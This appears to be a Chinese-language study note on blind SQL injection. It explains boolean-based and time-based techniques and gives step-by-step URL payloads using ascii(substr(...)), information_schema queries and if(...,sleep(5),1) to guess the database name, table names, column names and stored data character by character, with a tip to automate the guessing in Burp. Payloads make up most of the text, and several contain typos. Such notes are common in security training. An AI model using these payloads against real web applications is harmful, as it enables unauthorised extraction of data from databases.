布尔盲注
根据注入的信息返回TREU和FALSE
常用函数
- lenth() 返回字符串的长度
?id=1 and length(database())>1
- substr 截取字符串
substr(str,start,len) str:要截取的字符串 start:表示开始截取的位数(位数从1开始计数) len:截取的长度
布尔盲注步骤:
猜库名:
?id=1 and substr(database(),1,1)='a' #判断数据库的第一个字符是否为a
将其转换成ASCII编码格式:
?id=1 and ascii(substr(database(),1,1))=97 #将其转换成ascii格式可以更好的判断,比如97对应的a,如果返回界面正常,说明第一位字符为a
这里可以用burp来跑包,要快一些
猜表名:
?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) = 猜测的长度 # 猜测表的长度
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=猜测的字符的ascii编码
猜字段名:
?id=1 and ascii(substr((select column_name from information_schema.columns where table_name=表名 limit 0,1),1,1))=猜测字符的ascii编码
猜内容:
?id=1 and ascii(substr((select 字段名 from 表名 limit 0,1),1))=猜测字符的ascii编码,如果界面回显正常,说明字符猜测正确,继续下一位
时间盲注
返回值只有一种true,可以通过加入特定函数sleep(),查看web界面返回的时间差来判断注入语句
- if(exp1,exp3,exp3)
exp1:条件语句
exp2:如果条件1成立执行
exp3:如果条件1不成立执行
payload:
?id=1' and if(length(database())=2, sleep(5),1)--qwe
如果数据库长度等于2,延时5s,可以通过时间差判断猜测字符是否正确
后续猜表名、字段名、数据与布尔盲注类似,把if里的条件语句替换成对应的语句即可